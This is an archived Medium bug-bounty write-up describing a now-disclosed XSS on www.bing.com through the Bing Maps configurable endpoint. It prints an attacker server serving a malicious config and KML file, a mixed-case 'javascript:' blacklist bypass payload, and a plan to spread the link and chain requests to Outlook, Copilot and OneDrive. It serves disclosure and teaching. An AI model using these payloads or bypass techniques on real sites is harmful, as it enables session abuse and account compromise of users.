Wormable XSS www.bing.com

Wormable XSS www.bing.com - pedbap, Medium.

- Published: 2025-02-22
- Original: <https://medium.com/@pedbap/wormable-xss-www-bing-com-7d7cb52e7a12>
- Preserved from: https://medium.com/@pedbap/wormable-xss-www-bing-com-7d7cb52e7a12 (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Security Vulnerabilities

Bing

Vulnerability

Wormable XSS www.bing.com

[[image: pedbap]](https://medium.com/@pedbap?source=post_page---byline--7d7cb52e7a12----------------------------)

pedbap

--

Research Plan

My primary objective was to identify an XSS vulnerability within a Microsoft web product that could potentially be leveraged to exploit other Microsoft applications by sending requests from the compromised domain to applications that have the compromised domain listed as an allowed origin.

A good recon approach would involve conducting a cross-referenced analysis of allowed domains and sub-domains across various Microsoft applications to pinpoint the optimal target for auditing.

However, given the extensive time required to examine the vast number of potential domains, I opted to focus my efforts specifically on the Microsoft Search Engine due to its widespread features and usage across various other Microsoft applications. This strategy entailed a detailed examination of potential API attack surfaces present on the main domain of Bing `[www.bing.com](http://www.bing.com)`.

Pwn >= 2

When users sign into their Microsoft account, they are automatically logged into several connected Microsoft services, including Bing, Outlook, Copilot, and OneDrive. Similarly, signing into a Google account grants access across Google's ecosystem, including Gmail, YouTube, and other linked services. Based on this concept, achieving code execution on `[www.bing.com](http://www.bing.com)` could potentially allow for the crafting of malicious requests that trigger sensitive actions across other interconnected apps.

Weaponized Exploit Idea / Mass impact

*1. *Crafting the Malicious Link:* * — Exploit a XSS vulnerability on `[www.bing.com ]` (http://www.bing.com`) context to be used as malicious link.

*2. *Achieving Arbitrary JavaScript Execution on `www` :* * — Ensure the payload in the malicious link can execute arbitrary JavaScript on the main/root domain `www`, rather than a less significant sub-domain.

*3. *Targeting Users:* * — Easy distribution of the malicious link to users, considering the fact that millions of users are familiar with and frequently use Bing's main domain features such as searching for Images, Videos, News, Maps, etc. Meaning that the interaction with the malicious link could go unnoticed by even the most cautious users.

*4. *Exploiting Cross-Application Access:* * — Once the malicious JavaScript is executed on `[www.bing.com ]`(http://www.bing.com`), there is also the capability to craft requests that trigger sensitive actions on other Microsoft applications (e.g., Outlook, Copilot, OneDrive) that the user is logged into by default.

*5. *Impact Analysis:* * — Assess the potential impact of the exploit by evaluating the actions that can be triggered on other interconnected Microsoft applications, leveraging the user's authenticated session.

Vulnerability Research

Bing Maps

While exploring the Bing Maps Dev Center Portal (https://www.bingmapsportal.com/), I noticed an embedded URL with intriguing query parameters and functionality. At first glance, the immediate thought was to test a proof of concept (PoC) for a potential Cross-Origin Resource Sharing (CORS) vulnerability. This API endpoint would also serve as the entry point for subsequent exploitation steps.

Entry point

CORS Vulnerability Identification

>

https://www.bing.com/maps/configurable?config=https://bingmapsisdk.blob.core.windows.net/isdksamples/configmap2.json

The API endpoint `**/maps/configurable**` loads a custom configuration json file using the query parameter `**?config=` **. Analyzing further the contents of the json file it also reveals another field that the attacker was able to take advantage of in order to get access to more attack vectors and perform taint analysis. The field *** `addLayerFromURL`** *loads a **KML** (Keyhole Markup Language) file which contains different properties to style the Map itself like placing *Images, Balloons, Text Description, 3D models, Place marks, etc.*

Content of configmap2.json

Proof-of-Concept: CORS vulnerabilities

To demonstrate that an attacker could render maps within the `[www.bing.com](http://www.bing.com)` context, I needed to set up a server hosting two files:

1. The configuration map JSON file
2. The KML file for adding style features to the map

**Attacker's Server Configuration

**poc.ngrok.app

```
app.get('/pwn.kml', (req,res) =>{
  const kmlPath = 'C:/Users/pedbap/Desktop/attacker/pwn.kml';
  const kmlFile = fs.readFileSync(kmlPath);

  res.setHeader('Content-Type', 'application/octet-stream');

  res.send(kmlFile);
});

app.get('/configmap2.json', (req, res) => {
  console.log('Request headers:', req.headers);

  const configsdkpath = 'C:/Users/pedbap/Desktop/attacker/configmap2.json';
  const sdkConfigmap = fs.readFileSync(configsdkpath);

  res.setHeader('Content-Type', 'application/json');

  res.send(sdkConfigmap);
});

app.listen(port, () => {
  console.log(`Server listening on port ${port}`);
});
```

Displaying a malicious map on www.bing.com context:

In the screenshot below you can take a look of the link that could've been shared to infect users.

Triggering JavaScript Execution

Bypassing KML HTML/XSS Blacklist

As you can see, I was able to style the map using core properties like inserting a Ballon, Text Description and even added HTML markdown through the malicious KML file ** `pwn.kml` . **At that stage, I was able to redirect my attention on bypassing the XSS Black list to trigger arbitrary JavaScript execution via my custom map.

The existent KML HTML/XSS Blacklist is stored at * * `[*https://r.bing.com/rp/FOkRg4MAeRHIuQBOa98npjZOg44.gz.js*`] (https://r.bing.com/rp/FOkRg4MAeRHIuQBOa98npjZOg44.gz.js`) and looks like this:

```
[...]
n._htmlBlacklist = /on[a-zA-Z]{3,}=|(url|expression|alert)(\(|%)|(<|&[a-zA-Z0-9#];|\\u003c)(iframe|script|style|form
n.isPossibleXss = function(n) {
  return this._htmlBlacklist.test(n)
 }
[...]
```

One of the flaws I was able to spot in the blacklist is its failure to account for mixed upper and lower case characters. As a result, the following input can bypass the XSS/HTML blacklist test:

```
jAvAsCriPt:(confirm)(1337)
```

pwn.kml

Here is a simplified example demonstrating how to use the XSS bypass and store the payload in the KML file:

```
<?xml version="1.0" standalone="yes" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2" xmlns:atom="http://www.w3.org/2000/xmlns/">

[...]
<Folder>
  <Placemark>
   <description>
     <![CDATA[
       <a href="jAvAsCriPt:(confirm)(1337)">Visit My Website</a>
     ]]>
   </description>
  </Placemark>
</Folder>
</kml>
```

Worm XSS factors

The attacker had the capability to activate or deactivate the malicious hosts containing the compromised configuration map. This allowed them to deactivate the host if the exploitation failed, making it more difficult to trace the attack.

The attacker could set up multiple endpoints hosting malicious maps, enabling them to scale their attack. By checking again the URL used to share with victims: `https://www.bing.com/maps/configurable?config=[https://attacker-host.com]` — The attacker could use

multiple hosts such as `https://attacker-host1.com` `https://attacker-host2.com` `https://attacker-host3.com` , etc.

The victim could've been exploited using the XSS vulnerability on `[www.bing.com`] (http://www.bing.com`) but also get exploited on other Microsoft web applications within Microsoft services ecosystem (apps which allow requests from *.bing.com essentially)

Demo XSS www.bing.com

Disclosure Timeline with Microsoft Security Response Center (MSRC)

August 26, 2024, 12:41 AM — **Me**: — I sent the Demo PoC and Static Analysis of the security issue to MSRC.

***September 23, 2024, 7:20 PM *— MSRC**: — Status changed from `Review` to `Develop` — Status changed from `Pre-Release` to `Complete` — Notification for `Security Researcher Acknowledgments for Microsoft Online Services`

***October 1, 2024, 6:14 PM— MSRC**: — Case assessment for bounty award under M365 bounty award, classified as Severity: Important.